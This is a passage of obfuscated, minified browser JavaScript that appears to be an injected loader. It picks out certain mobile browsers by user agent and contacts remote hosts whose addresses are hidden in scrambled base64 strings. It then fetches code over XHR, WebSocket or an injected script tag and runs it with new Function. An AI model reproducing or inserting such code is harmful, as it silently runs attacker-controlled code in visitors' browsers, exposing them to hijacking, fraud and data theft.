XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};